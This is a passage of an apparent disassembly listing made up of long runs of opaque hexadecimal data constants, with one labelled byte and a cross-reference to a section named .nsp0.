0B1B285DCh, 6E8B24F2h, 47055A03h, 18CAA5E3h dd 69F3C585h, 0EBC2F0Eh, 7D3BD126h, 0A494B008h, 0FB751Dh dd 776536E3h, 61099F84h, 0D37BE1F2h, 0E9106E00h, 8DF6A0D0h dd 0BC823DE4h, 14AA3451h, 1B0AAB7Ch, 8D3A3772h, 34D2A851h dd 0ECDCEFEh, 9844F507h, 797CFDC6h, 4DFC6DF0h, 187A680Eh dd 922AB9D8h, 73161324h, 0E56F5133h, 0EB52C161h, 6ED82C03h dd 9324F305h, 0A968DE72h, 0E92E5FACh, 7966F4BFh, 7DADB35Eh dd 8CCA555Eh, 0EF170398h, 5576A343h, 1DE15BDBh, 0AB201E8Dh dd 0F57DD904h, 0BF7B11B9h, 8CCC457Fh, 0E635B68Ah, 5E9953D9h dd 0E83A651Fh, 0ABEA1ACEh, 85D18B05h, 6E185CBFh, 10FF557Ah dd 0ADA2AA29h, 0C17056ADh, 7541104Fh, 1988F9FBh, 0C6469EBBh dd 1B28792Ah, 0E2345B65h, 0BD18983Dh, 2EAE9D59h, 0B3904A72h dd 0C5A9975Ah, 0FABF073h, 0AB8F9F79h, 0AA0B570Ch, 59EDD1ABh dd 2B9607CEh, 0C34BADDBh, 0C6641114h, 6F444606h, 22D219Dh dd 1AB9EB7h, 5421B585h, 84BFCA0Dh, 52BFDACEh, 0C90C0649h dd 0C969ED6Dh, 1DAC20ECh, 0ACE2C087h, 6B7CA4B1h, 0A20B3DF2h dd 55D21BFAh, 0E95CA056h, 0FD7CFF85h, 0FD9EED32h, 0A1CB9B27h dd 859C6961h, 0F572194Ah, 0D8E7CA4h, 13F5AF93h, 0A6EFD472h dd 0E81B66F3h, 0E009473Dh, 299B344Dh, 8EBA2293h, 0D0ACC8C6h dd 7B905DE8h, 189D1AB9h, 0B4C04E1Bh, 0BFC1E9E3h, 1C9D231Fh dd 70D6CB61h, 544B1647h, 0DFA99FDBh, 65CE82D7h, 0AC037317h dd 0F4DB4CFFh, 0C4D942D7h, 8FBD36E9h, 0AC3A8209h, 0D0AD5103h dd 7E234201h, 5ABAFF12h, 69EFE864h, 5391ADD2h, 0DAAD704Eh dd 4899FC0Eh, 2D4230CDh, 3FA7C0ADh, 0B0F89FABh, 0FFFA6F60h dd 39AB064Dh, 439813B7h, 141EDE22h, 7FC46847h, 0F334A0BCh dd 441BA1B4h, 0E0DE97E7h, 0C58085BCh, 7262CB71h, 0D88839C2h dd 0FFF1C193h, 0A1C8AF1Ch, 824B3463h, 2A0FC43Ch, 3DB3EC55h dd 2862FBDDh, 88814114h, 19774CE0h, 793A6E37h, 5309F621h dd 0DE0A91BCh, 61B49600h, 0EC25E740h, 71BE7369h, 863BA2E9h dd 51A686FEh, 96109E8Ah, 172139C4h, 0FED4414Bh, 4EFC3938h dd 34AAA71Dh, 45A00321h, 0A8811A53h, 912E21E7h, 31F2535Bh dd 572910Bh, 0C5835F1Fh, 6BC18D3Dh, 48DA7C23h, 3B20E6ACh dd 0B8F1829Fh, 0AA09ACA1h, 90774C42h, 0F158D2E1h, 0A606E216h dd 3809BECEh, 8A391B0Ah, 7C2F4187h, 0BB17285h, 0C1E14584h dd 1B3FFDD0h, 761F7025h, 0D013E627h, 0E4492698h, 366D1488h dd 69C97DC8h, 0F7D5D415h, 0E7CF40D9h, 0A7D658B8h, 294F30E2h dd 11452AE9h, 93E3B5A3h, 8A3F79Dh, 448DA872h, 6C2F64B3h dd 0A66A3F7h, 9677C236h, 0D4BFE7A2h, 0E325ECAFh, 627753D6h dd 0DE42FB2Bh, 0B22A6595h, 0A2183B9Fh, 45E82A83h, 0B48B10AFh dd 0D4710DE9h, 0E57F1731h, 0D12F7205h, 31B35661h, 86653EE2h dd 7F0C62D4h, 857DB55Dh, 0EFADAD51h, 3E739370h, 6530205h dd 3F805986h, 0D15BDCE3h, 382B2CDAh, 0A3628B34h, 77DA4E70h dd 5298ABA5h, 58C509FFh, 0EDF3D937h, 84CF51F2h, 1ED0ED90h dd 749C9FFDh, 0AD56DB95h, 0B1AE3520h, 0D5E2B164h, 92410C23h dd 1D299D04h, 0BBE65353h, 0F51A8B0Ch, 99EE236Ch, 0EA87D271h dd 0F6A712F2h, 7ABC0632h, 4235B0h, 33A7A940h, 788457BDh dd 349E9AC5h, 0ADA8E99Ch, 0BF47FC81h, 0A2006BC2h, 3A2F8765h dd 5778D699h, 0F1532FB7h, 0CC4FAECAh, 0EF805D21h, 273A4AA4h dd 0E6B05926h, 0CD9B0EE9h, 2875021h, 765B4218h, 48DE3A88h dd 4D707721h, 25DFBFA7h, 781F20CEh, 0ACF693EAh, 0D7FFE008h dd 7B30BB57h, 7909CF7Eh, 62FC4336h, 145C7DFAh, 6CE08B9h dd 0BC28C9B1h, 0D5731A21h, 6C1BE968h, 0E5EA2925h, 8F7DEF47h dd 0AECC793Fh, 0C1D79888h, 0AC379DAAh, 0D9269A2Ah, 0CC63F23h dd 6A161D2Dh, 7324C28Ah, 43C54611h, 0E7FAEBCh, 0ACAC258Bh dd 0BA9A45F3h, 50F80CA3h, 6DF8A8F5h, 18B64C5Eh, 85B2C4FCh dd 0ED63322Ah, 97B99C01h, 0CDD2428Dh, 1554E1F0h, 0F2104F07h dd 0BC06C986h, 1BE393h, 9BF2200h, 0A8127BB4h, 734B0251h dd 5003D99Eh, 7DB3B421h, 0FA29C83Ch, 9BDEA27Ch, 0CB703AA4h dd 2392DE54h, 0F94346EAh, 2424EF4Fh, 0EBA4B3B0h, 6179FDB5h dd 57046002h, 0C03A424Fh, 870F9C35h, 9AA58E4h, 31B0F7B3h dd 53A9C16h, 7B8941C0h, 65262BDEh, 2B835628h, 0D4132A20h dd 58C5554Eh, 66F4E387h, 77A17421h, 0E1E3D740h, 56F58519h dd 0D35CCA7Dh, 62A9453Fh, 4172E8Bh, 0EDFA2E6h, 0BF51148Ah dd 0EC93B4D0h, 1F7EB265h, 0ED8740E5h, 0ED88AEA2h, 7AA0FA8Fh dd 0E6F778CEh, 820A91F2h, 9BE0FF86h, 19003B6Eh, 69676662h dd 0EDBCC6C9h, 0FE562150h, 0FF002154h, 0CA721C6Dh, 700F9E25h dd 9F8AFA69h, 0FB6C94BEh, 1E8B089Bh, 0F59E120Fh, 6BEEC64Fh dd 4F898D23h, 839BAAB0h, 5D576C54h, 27D462A2h, 87B563E4h dd 9418060Dh, 0BC4FF918h, 71A612C3h, 34E07335h, 1C635D1Ah dd 0E081807h, 5339789Eh, 274AF08Ch, 74B4203Dh, 2D97637Ah dd 2443ACDEh, 0CCBB056Eh, 1F2EAF99h, 1D4E7E4Ch, 452F14F9h dd 2ACCE60Ch, 209F4D35h, 0D62988E5h, 0E0CAA850h, 891C2154h dd 0DF9D4F45h, 0ED3D8586h, 0E4C72B42h, 9ADAAA09h, 648283D4h dd 0D21705A1h, 6C67AFC7h, 0DD59176Ah, 550DFF7Dh, 4DD78DBBh dd 0AB08BBAFh, 119A53D9h, 66D7E5CCh, 5E472280h, 0BDF4698Eh dd 0B7110140h, 0E1C2B754h, 0CB775EDCh, 1FC51F39h, 0C8B41F64h dd 0CB082119h, 202A267Fh, 0F47D82h, 38FD5F4Fh, 0A3BCDBB3h dd 0C9B8BDFBh, 338FACC3h, 7E6EC04Eh, 2AA63A6Eh, 2D4DFB3Bh dd 7320905Ch, 0D436204Ch, 2D885299h, 0AD4D83C2h, 0A7258C83h dd 199C89BBh, 0BC39BE34h, 0F7FAA220h, 7133AB0Ch, 6505E9A0h dd 7699DA3Ah, 24836B55h, 0EE74B078h, 0D459B309h, 0E631C9DDh dd 73195894h, 3FED1FCCh, 91340BBBh, 0C2390418h, 4C8E69BCh dd 472EABC7h, 5798010Ch, 0A7052264h, 95005903h, 0D7BF28F6h dd 108741EDh, 0A3B37C15h, 0E3A2458Ch, 9A706D7Ah, 6F477990h dd 809868B4h, 0B8256A3Dh, 0F7118F31h, 7B0E3DD9h, 4E27D5FFh dd 54942E90h, 84996C65h, 0E5E50A50h, 6EADC1E1h, 0F32FA5F8h dd 9816CEDEh, 4C3D0421h, 0A4AD9DCDh, 0F85E83Fh, 0E267AA1Dh dd 32FFF8Bh, 682882Bh, 0CAB14668h, 2B5DE62Eh, 4110CD23h dd 3E32E12Dh, 0DE0E9628h, 44263B7Eh, 0ADEEA415h, 0C0C753E8h dd 468CD4F3h, 967ADD05h, 3D880964h, 0BCD1E4EDh, 0DDF39512h dd 0A80E9EF6h, 75D5B6BBh, 29D20E84h, 1E34187Fh, 69249653h dd 756B433Dh, 66D318A8h, 8BAEDE0Fh, 9A802D5h, 5EA5AD40h dd 0C4D73D99h, 75181786h, 2C7D941h, 0C4762239h, 7950C2B0h dd 5F1C119h, 57C749A8h, 0A28497Eh, 4D99E7D4h, 0A025A7DAh dd 75462FFBh, 469E6849h, 58E35209h, 96E7A0D1h, 4A73F37Ah dd 88089145h, 0F5BC3205h, 1DE5D9EBh, 5A6FAEEDh, 73B49614h dd 0B6C3096Ch, 28079EF0h, 36D3643h, 0EB41F2DFh, 0D6644FDBh dd 8173FBC5h, 5E07F040h, 0B4A4C83Bh, 0C4E203EFh, 563B33E4h dd 65763531h, 0B2896513h, 0E1C4E49Bh, 935E785Eh, 0DC4A55EDh dd 0E59D3DE3h, 9A57ED48h, 0F6564959h, 0B63833C2h, 0B399D128h dd 4108715h, 0B2BA2F91h dd 37FC60F0h, 21DA5AC1h, 0CCCEAA5Bh, 7A23B4E2h, 462895B6h dd 7CFCA90Fh, 309AFBDEh, 8FC0562Eh, 8183F385h, 65C365C0h dd 7CD8F34h, 0C91A336Bh, 5CFC3A1Bh, 0B3E7EF1Ch, 0FB55311h dd 5E477D68h, 0BFA5C53Eh, 10A529BFh, 0AED4262Dh, 0C55B72C3h dd 0E50CD1A1h, 0BC32B4F7h, 3D4E4389h, 8C67323Fh, 4B5A310Eh dd 0C2DA7F60h, 10409652h, 0CECBE157h, 662DF7C5h, 9C19A695h dd 0D8D0507Fh, 0DEB0800Bh, 8D3BC360h, 0ACEBB86Dh, 93F2C49Eh dd 59126AC1h, 0A885B02Dh, 1BE3FA5Ch, 9558D496h, 442A3C47h dd 6B29123Ah, 34506BC4h, 8D94D012h, 0B131E32Dh, 5E76625Dh dd 4C941C86h, 0C5226385h, 0B0F5D1A2h, 9F4EDE5Dh, 0A3502F20h dd 0E1A47D0h, 3AC18D97h, 31D34376h, 640DE1E7h, 0F27E5E98h dd 44B8C16Ah, 3AEE01F7h, 0EDFA4D2Fh, 4E8DAE7Fh, 0F923F229h dd 0C933CBE3h, 1F235B33h, 0B722BD1h, 0A026D625h, 0F63077DAh dd 0A24C658Eh, 6A8C22FCh, 0F531C826h, 528E2171h, 4CFEC32Dh dd 0D7C2993Ch, 9F1BD98Eh, 0D63AD0A9h, 0E8B3F3B4h, 0C72FA51Dh dd 775234B0h, 40779617h, 7BB5D73Fh, 40A03E7Dh, 622E291h dd 8A396975h, 61699EF1h, 0B9AFBB8Bh, 1DF5C3F2h, 2F02AF07h dd 809385D6h, 9EFDA0D4h, 0DCA7CFB6h, 0CF9137C6h, 3DE39692h dd 0E8BF0780h, 0B42E4517h, 0B66CA6A9h, 987B4947h, 100BB604h dd 0B1FC9B12h, 30176019h, 0ACDF2D7h, 83A59659h, 0E3398B52h dd 0CA245BE5h, 4301A193h, 49FEE095h, 0ACA188F0h, 9F9A6248h dd 87DB36B9h, 53062CD4h, 504CD789h, 0B4FBEDB0h, 5B5192DEh dd 6AFB4B78h, 43E20B0h, 0C2EF5F5Ah, 979721E7h, 62ECF109h dd 56CFD1F9h, 1434D512h, 0D867E40Bh, 77FB14F5h, 0C00E2D6Fh dd 860227FCh, 956F6BE4h, 0FD4D1D9Eh, 8D740B0Ch, 6E01EB86h dd 520D822Dh, 7A9A7AC0h, 13167837h, 98012F92h, 0CFFC78CFh dd 0BD1C55BAh, 0BC9DDAA9h, 0C8815323h, 7CD70E4Bh, 32441559h dd 6B1704CEh, 623B311Ch, 8F8C07BFh, 0D63F6219h, 3CFDB405h dd 0FE7B2B6Ah, 0F553F363h, 81BD5EEFh, 0EA06347Ch, 4AFE081Ah dd 0ECECDBACh, 506D890Eh, 6A982508h, 0A2D5AC5Fh, 0CA10736Bh dd 4F28D0DAh, 503FEEACh, 0B6E10D66h, 1925204Bh, 0B8A8D7CAh dd 439E39E1h, 0D861DACBh, 38CE67C6h, 0DF9D5CFEh, 0B07BEDF2h dd 0B1CD9B0Ch, 0C7B8D3B4h, 0F3328A52h, 1B9C11D9h, 0D46D8A19h dd 28F5531h, 27E5340Ah, 9A089C58h, 9EF48E24h, 0C99A57FBh dd 5AA9A563h, 0D64C9E49h, 0A687A4D9h, 0C5344513h, 2EF8520Ah dd 995F73C5h, 0F39981B8h, 81A4745Dh, 0A0DA71C0h, 0F2CD9EFBh dd 0B9910352h, 9A4C0C07h, 92CECCB8h, 1EDCACD3h, 0C973676Bh dd 13EF6EF1h, 0E4C0939Eh, 0AB14B431h, 9EF6DEE0h, 625862D4h dd 8A2D9B9h, 496E597Ah, 0EAEFBCE3h, 3EC71968h, 0BC05ADD6h dd 3AF1371Eh, 67E339B5h, 58F0A856h, 0B07052F4h, 0A3054AC9h dd 80E40958h, 8E2B8800h, 11DA7296h, 0BC93F47Dh, 0FCEFF1B5h dd 754C419Bh, 76484BBBh, 53584026h, 60DAB381h, 21758633h dd 51985D4h, 0E9949237h, 8059C4FCh, 0BA5418h, 0CE516A41h dd 0EDF264FCh, 0F755CAA7h, 65556911h, 33C43139h, 13E653E1h dd 0F202C58Ah, 6D484825h, 0F5D10BEBh, 6DC32401h, 0DD6EDB8Eh dd 13B08658h, 2C69C84Dh, 90323A08h, 22B53304h, 44D9A37Dh dd 61E8095Ch, 0B714CF1Fh, 618DAB5Dh, 841E8DA4h, 5E4405FDh dd 0D9BCE77Bh, 37768AEh, 0E4158C0Eh, 559F7BDEh, 4393A228h dd 3FB23D0Dh, 3EB588EFh, 1CBC745Eh, 22F450CBh, 1169DC16h dd 0CAB3055Ch, 1D1B3FBBh, 0F1BFC9B1h, 3C209167h, 23121A81h dd 0EF3A4BD3h, 410F16A3h, 6102DBEBh, 98CB54D1h, 0C82750A0h dd 0F583289Eh, 2CDCE7F3h, 7BF9C64Bh, 6AA3F87h, 0B6B30843h dd 0D12D9A03h, 1C1C79F1h, 95113092h, 52B72F28h, 0C1DEB654h dd 673552Bh, 0CB6D2964h, 0BD968879h, 9248DA09h, 0C73119BBh dd 8F4FD547h, 0C47E9F6Ah, 0BDC95CF9h, 0F543A249h, 0B675AE65h dd 6DE3E87Ch, 0EAAF5E71h, 6FB98ABBh, 0F659831Bh, 0F7F573B8h dd 0F3E6CFA9h, 19EB81C1h, 6F45B9ABh, 0AAA733FDh, 0A45E5FAFh dd 3D0EF871h, 0EC9D33F7h, 5A2C8226h, 6E6870A6h, 0BFFD79FDh dd 0AB1AC748h, 52A1D35Eh, 39780479h, 0ECC3E015h, 324A8F63h dd 81BDA8BCh, 0BC1B6CABh, 0B911F3A0h, 0A1172990h, 5128A04Eh dd 797B21A0h, 0F7B62429h, 0C0CC53DEh, 0AB634BF6h, 0DC66AB8Bh dd 50AEF474h, 0C2616C3Ah, 5FDD5BEFh, 0BED1AB99h, 6B2B5124h dd 19F59005h, 2FB68AAFh, 9396D5F8h, 0FD21AA1Bh, 0D11AA8C7h dd 503E371Fh, 6D8C101Dh, 66C4FC2Ah, 4BD6DDE6h, 0FB12060Fh dd 3D430C6h, 615741h, 0B3A1BDD0h, 9E9443BAh, 39AA015Ch dd 9771DCE9h, 0F3670507h, 4F760B1Dh, 365B4F3Dh, 0D54BBA77h dd 0CD4CC75Ah, 0A4263016h, 88A73467h, 5FEB9DC5h, 3C874E9Ch dd 7204AA5Bh, 6F1B0444h, 0C7FDC65Bh, 0FBEF9918h, 889944BAh dd 0C1F7F832h, 0F244A8A2h, 549F01EFh, 0DE4A96Ah, 0BBC81563h dd 0A2D0C31Ch, 93CFFF4h, 0D174FAE7h, 341CB3FCh, 0DA69F0DBh dd 0A96E4BC9h, 3AEBBEA8h, 14B3BE63h, 67526B0Eh, 653EE297h dd 310B5108h, 0E159CB79h, 5DECBEF4h, 25B30853h, 5EE3C833h dd 0DAA68049h, 806A20A9h, 929F4BB2h, 0A35E5A23h, 82D01291h dd 30BC745Dh, 1F636787h, 0A3E7E562h, 379907B7h, 0B829EF0Ah dd 0BF0BFEECh, 104CA0C9h, 0E85ACAAh, 256D124Ah, 1B489D0h dd 9D4B7775h, 0D77C3F61h, 0CEAF03D0h, 299795F3h, 64B2D460h dd 35D4A731h, 9D19331Fh, 0DF7F3BA4h, 0CA595DA1h, 0CC457321h dd 299EE195h, 597F509Dh, 7354EB8Dh, 8D611827h, 5EF65F18h dd 144A578Eh, 0ED32D2E1h, 63F43EBCh, 46732BBFh, 13F286Fh dd 8A4DA836h, 52134A93h, 85BEB63Dh, 4550AA28h, 3AA7E8F2h dd 2CC52018h, 0BD925A14h, 77EAE93Fh, 5B351F88h, 0DC44E803h dd 72BAAD6Fh, 0D9B4FC35h, 5D054F98h, 0E2E60C05h, 0C0411793h dd 8B6B3D8Bh, 0B7E40D1Dh, 3E52688Bh, 8E5523E1h, 1675DA97h dd 47A3172Dh, 9DD969CDh, 0D3E8AAC3h, 7C4E653Ah, 0BCDEC6D1h dd 8C202A38h, 0D66AD6EFh, 73D4756Eh, 449CE83h, 0E5F12A32h dd 67390030h, 0E39CB905h, 0CD4B68D5h, 9375D4D8h, 607D2037h dd 0DCFBD46Eh, 2D9EC5E3h, 151DBEF6h, 0BF52F07Fh, 5C39B4B7h dd 0F939EA2Eh, 632B08ADh, 0C36FA4EDh, 1110A278h, 0A650F001h dd 868ED584h, 0D570033Bh, 81BC731h, 0EAC7625Fh, 0F674F30Fh dd 20C23892h, 0C548A3ECh, 50000FD3h, 28C21389h, 3B337D22h dd 0F00E0A0h, 7E766BAFh, 0AA4A06AAh, 0CDCFDDA1h, 0ACB0DF22h dd 51E6786Bh, 0D7555CB4h, 0DBFA1933h, 82E03DA4h, 530A400Ah dd 3BC4C868h, 0A83D4B59h, 870E97Dh, 22AE1352h, 6BF416E3h dd 695D1732h, 98A12413h, 49946FFh, 0B02BC9F9h, 7CAEC568h dd 6D88DD82h, 31010184h, 23CF02E8h, 0BBC11465h, 6B677F2Dh dd 0AA0E1E99h, 0DB436A12h, 0E80C2E54h, 0A9A30573h, 8B2C885Dh dd 0EEF5C767h, 0C984E6E5h, 423D3891h, 0B044114Eh, 516451C9h dd 0AB3CFC18h, 822D0125h, 0E016F1E5h, 0B738B23Ah, 0D2C744CDh dd 0D9725D8Fh, 0F8A8922Ah, 0FBDBCE12h, 996335A0h, 194469C5h dd 8B9E11C6h, 8F0B52C9h, 1F1761ACh, 33483C51h, 0F99170B2h dd 0D43BEA0Eh, 75DEC9D0h, 0D25B8C53h, 0FD4A96B0h, 82A9FC0Eh dd 99068EBCh, 7524840Bh, 2429C206h, 52ABD934h, 3D0E9115h dd 0ADCF8A0Fh, 0FAFAE673h dd 0E2262E98h, 7F4BE7A2h, 4084835Dh, 4D49C9D0h, 0DB059A5Eh dd 4D146B1Fh, 1946C8A7h, 949E7C19h, 0B9338B80h, 2CD40FA4h dd 850A9127h, 9CDFEAEDh, 342E56A3h, 0B5AA2DA7h, 0E9A955EEh dd 6ACBC337h, 0BC6C5873h, 6EFD0DD7h, 0F537CD1Dh, 0D381A4CFh dd 62CF5471h, 0F37080C5h, 7A21C76Fh, 79E3408Eh, 0C0B75FBCh dd 7ECF5BD9h, 0B8A24285h, 30AFF802h, 0AC7E81ECh, 0ADEA54Dh dd 0D9B68D96h, 829C1FC3h, 51D059B2h, 513CF283h, 0E58BBEA9h dd 0EF5943Ah, 0CA56F2B8h, 7FB05B73h, 0F3237C7Bh, 9F09254Ah dd 0F1B8FD11h, 5E8769B2h, 0EFA387E0h, 0ECAC3AB8h, 0AF879E0Ah dd 27A31757h, 8D9F288Dh, 5FBC9A0Bh, 0FEEF8E65h, 76195C2Ah dd 4CEBB8F5h, 9A162144h, 0C141A215h, 3B495664h, 95811C98h dd 425B1E33h, 7B984071h, 0B52E280Dh, 0BD603B5Dh, 0E69C19FFh dd 5ADC1355h, 0E6EEF00Dh, 0ECDAE929h, 0F6EE8D79h, 0CDC87EF1h dd 634EE2E7h, 439BCA0Eh, 0ECA09D0Ah, 9587069Fh, 4E9BB960h dd 395247DEh, 0DE2FB04Fh, 0AB7E4D0h, 50E391B8h, 8D4BC29Dh dd 0C1F4CB3Fh, 0EA362380h, 4B12A347h, 3E72C9BFh, 0C6DA0C82h dd 0FC7DBAh, 4606E8E3h, 12907327h, 0BBCACAF0h, 0DCFD0EF3h dd 0F0F4B448h, 0F19FA91Ah, 0D581DFDFh, 50B17D17h, 6C94D3F5h dd 0D808D5BBh, 12202478h, 6E9C1016h, 3866C36Ah, 6D95F40Ah dd 0D8DB9980h, 7D3D9F4Bh, 9D93933Ah, 3C5A12D3h, 0CB4F8640h dd 90C2327h, 44BB4B6Eh, 0E4F290F9h, 0ACFF6F65h, 4FD257E3h dd 0E8F01505h, 0C744C704h, 66E6FA38h, 0D310ED34h, 831CA9F6h dd 7DD26747h, 0C28A48AEh, 0A23B474Fh, 0D222D903h, 90896BA6h dd 91C26105h, 0FD865C89h, 84D2B378h, 9F3F60A5h, 4E9C4554h dd 335EA903h, 0CD142475h, 0E1F10994h, 0EED2202Eh, 7C81A8F4h dd 9700D8BEh, 6ED53BF7h, 0FB5E7668h, 0FCC77CAh, 0DF4D4BF3h dd 0B91F0D2Bh, 0B7E774A9h, 0CB3B8929h, 3BCA1A48h, 6AB735C3h dd 0BC488890h, 0ED46F7A4h, 886C5395h, 0C0BD1BF6h, 6989D8E8h dd 224E4077h, 950B1DD9h, 9D9C7DFDh, 1B7804A5h, 4E08D042h dd 0AA526949h, 999F815Ah, 38411F9Bh, 54C1F3A2h, 0EEDE3A96h dd 41943912h, 51A86936h, 1CED8251h, 85D559E4h, 0BD42956Bh dd 0D79481D7h, 65588CBBh, 1FD4DF63h, 94CDCEA1h, 98FC32E6h dd 0BD2C803Ah, 0CC7B8864h, 0E12AEDD0h, 8FD209F9h, 81E68431h dd 769B23BDh, 736AD625h, 0B1130D0Eh, 63891122h, 96C0E98h dd 0FDFE0F6h, 797E3287h, 8DACD232h, 13B820A7h, 0AD1E15CCh dd 67B8A8B4h, 2D22F1ADh, 0F8BF9C9Fh, 0B3CFF809h, 105BEB9Fh dd 3B6FF47Fh, 5ED03FDFh, 13B612FCh, 6C819F26h, 69A9C6DEh dd 4104DF35h, 2AC69ADFh, 3A575F85h, 67CC882Eh, 323816ADh dd 915801CDh, 0A39E742Ah, 46E7F4E6h, 84248BE3h, 4C128BC3h dd 1E2912D6h, 0E50A2968h, 0A80D077Eh, 3CAD3903h, 0D793CF4Fh dd 36DD0B17h, 0BD4CC08Fh, 89467FA4h, 0A3A4B4Bh, 0EDA418D5h dd 0B58AE0FBh, 0C50D1085h, 559B47FAh, 1511D84h, 2CF9C782h dd 87386322h, 53F1A5DEh, 0E2076A0Eh, 0EA1A1E59h, 7FE85353h dd 0BAA48A2Ah, 250FB400h, 86E6CCA8h, 0AAD8C53Dh, 92C7F3B9h dd 954F3717h, 0BBCF269Eh, 68561336h, 58250AE2h, 86DB6BA0h dd 3F5DA59Ah, 3DCB0A23h, 0E7690FD1h, 0E52BFB73h, 949DE70Bh dd 1A66B4C0h, 9FF7EF69h, 0C9C07FF4h, 9CF306A4h, 9282A96h dd 8867DE09h, 26A6B628h, 4ED59B76h, 7C5A78D0h, 88AA6811h dd 7D76E0D7h, 0BE36B1B6h, 0C7828234h, 55DFB149h, 6883A5FDh dd 0B94592AAh, 0E0AB304h, 9C5533BAh, 204DE17Bh, 7BD514F9h dd 1D1AB3CFh, 4BD613A1h, 0E2B6E71Ch, 17EDA27Ch, 0CF16D3D7h dd 42AACDD2h, 7B87A24h, 5F98A2EEh, 55793A5h, 65DD13FFh dd 0E104025Bh, 9D2FFF84h, 9BDF70BEh, 9193F32Fh, 1211F124h dd 6DFE7764h, 7198080h, 5FCDCA42h, 0CADDCC6Ah, 0E0D723A6h dd 27D39D7Ch, 0B0A8EB8Dh, 1B28A06h, 1A170282h, 0EADFEF99h dd 0EFBF1C7Bh, 51DC3907h, 10142734h, 3886EACh, 0DF885DE8h dd 7AA48F6Fh, 75B6D0E8h, 6EE09B5Ch, 1CFE2179h, 0BC292B69h dd 0CC1D8120h, 0A1C89934h, 21C49998h, 0BBE146Eh, 772ECBAh dd 981EC0Ah, 1AAA07E8h, 0E8A52E26h, 57441D8Ah, 0BDA62185h dd 7AAA7255h, 7A72ECFDh, 0AA6F9999h, 0EF417AEAh, 0A4CC565h dd 4CCFFC9Ah, 0BC48C8E3h, 3D201E09h, 0B019424Bh, 7BC89232h dd 2809F431h, 94D92442h, 0E809741Dh, 5C59DD96h, 29451643h dd 0E3E01E6Bh, 694AB835h, 9D337ED6h, 0DA4FA430h, 558A3337h dd 0A9241699h, 0F3F61CD1h, 42AADFA6h, 7A3E48B6h, 524B62A2h dd 303ABBEFh, 3499D9C8h, 0FB81816Bh, 4D3EB093h, 0E3F31872h dd 0F0387A99h, 69E6F002h, 0F555CDE0h, 8200E6BBh, 8567BAC2h dd 93A626DEh, 52D53699h, 0A70128BDh, 55147839h, 0AEBC9398h dd 0A61AC70Ch, 7FD49095h, 32B16196h, 0E65E1534h, 0AA589132h dd 0F104C347h, 0CC94492Ch, 9553C47Bh, 65C3DBFAh, 633245C5h dd 6B468FB5h, 8BFF3EFEh, 8B13EA2Fh, 79830059h, 0F9E14154h dd 5E6D0572h, 8A7F7DB1h, 2F427F69h, 1420C6A6h, 0F330BA1Dh dd 0BA7C5C52h, 609AFD86h, 7E6FAFB4h, 16AC037Dh, 0E49D0A6h dd 0E3B6FF18h, 502F765Ah, 0A86DA82Ch, 73B14753h, 86262FBCh dd 0D00325C1h, 0A8B743DDh, 2AC6191Ah, 7363830Ch, 53EE454h dd 0EBF76B6Ch, 654286F2h, 89CEE685h, 0FBAFF823h, 0DADC85D3h dd 902ACFA8h, 0F37B74B1h, 7B457338h, 8BB891BCh, 0EE81A25Fh dd 0C6677C11h, 3596BCD7h, 1ADEB8D8h, 470AA684h, 0F31ACEA7h dd 1B2F207Eh, 977BB4DCh, 92E1BD77h, 916F9075h, 0E8A5A859h dd 8A1D6A2Ch, 0A076D777h, 2477CB07h, 0E361629Eh, 5B54407h dd 3AC7D460h, 0B537BF76h, 0D20D72E5h, 5D1BEEACh, 47B8D8F5h dd 2D818636h, 0A4788DE4h, 0B5E3B2C2h, 0DADE40F3h, 0CEF4E682h dd 3AED1036h, 47520DD2h, 6A38886Ah, 2F5B5E12h, 46E04ECCh dd 78142294h, 614C9F00h, 2AA8A05Ch, 550F1D6Eh, 0B7F7F886h dd 6A2FC3CCh, 334FA09Ch, 7675CF52h, 49A47007h, 2E2F8636h dd 329DDB01h, 6CCA908Eh, 17F0C049h, 2E48F3EAh, 359BA143h dd 89BDAF86h, 6517811Eh, 53774A96h, 73516CEDh, 52FD2606h dd 9A4AC47Ah, 3BA016CEh, 0B9642E08h, 8DF45B22h, 23920B74h dd 52ED8716h, 0B5365A3Bh, 58931F48h, 4D3C88D0h, 0FE17D345h dd 82FAE4C9h, 0E23B6B60h, 93213702h, 3E95BE22h, 0D2C3F9E2h dd 1DF0342Fh, 0C36D55E2h, 0AA85A4EBh, 0B940D220h, 0D84F3A85h dd 0D1F9D55Fh, 0A048DAF2h, 556ABD81h, 0EF53AFBEh, 0A759CAD5h dd 37DFF484h, 43F7EA7Bh, 0F879B352h, 28AD2F67h, 43F6A16Dh dd 12011F26h, 400E37EEh, 0B0BB85C4h, 95D4B221h, 80B13B98h dd 1603525Ah, 0B61DF2BBh, 0A3E0E721h, 4D1756E4h, 2B2A67A1h dd 2C2B4DC5h, 0C6F2B919h, 0FB2BB4E5h, 0A05FDFE0h, 94ED10FDh dd 516678Bh, 48D25A71h, 15F1E197h, 0FC602F7Eh, 38ECE61Bh dd 3A086281h, 9A726BE9h, 71B41B28h, 0D3085698h, 0DF2A5702h dd 0DE827AFAh, 0A9DA54C1h, 8830B5FBh, 0C729B557h, 0FA95D8BAh dd 3C2ADF9Fh, 8DAFF03Eh, 0D69DDECFh, 0E3E25472h, 22584094h dd 330B6AAFh, 94CE7F62h, 13B27992h, 2894426Eh, 0F3A3AE85h dd 0D42B4423h, 726EB2EEh, 7D4E440Ch, 8810DBB8h, 0FB6145B3h db 48h, 9Fh, 4Bh byte_494843 db 87h ; DATA XREF: .nsp0:off_42EC80o dd 25395912h, 96441443h, 684EB08Fh, 0EFF0FA74h, 0ED9221C5h dd 871ACF05h, 0AB40394Ch, 49943FDAh, 1BF1B451h, 0AAD2F24Dh dd 0C8ADC39Ah, 38CCE557h, 72FD04D2h, 4911DB15h, 0D8BE0E8h dd 569926E5h, 140D1EB1h, 0BECC3A74h, 688CEAAAh, 0E6146A43h dd 3710DB1Fh, 7E742AD5h, 0AAF058B3h, 6F8E23DFh, 6A855CCEh dd 586C84AFh, 0A93C2193h, 2C8B7149h, 0E0B49E4h, 0C9297175h dd 0E5DF9606h, 321CD2F4h, 0DA6BFE24h, 1F6368FEh, 4F3AE6C4h dd 0E63E9EA6h, 0F75FB41Dh, 6E64266h, 0DDF0C90Ch, 918CDF18h dd 186DA298h, 9684E34Ch, 0EDF593FEh, 109C50C6h, 3404E9A8h dd 0D2A972BDh, 5F03FF2Fh, 91A550F5h, 0EDE02A74h, 26CA78B6h dd 2C433DC4h, 9A61417Eh, 1A1E2868h, 0F3EE5E4Bh, 8943A6C5h dd 4387358Ch, 502A69DBh, 5C28CE46h, 30C1BF22h, 6FAB5C69h dd 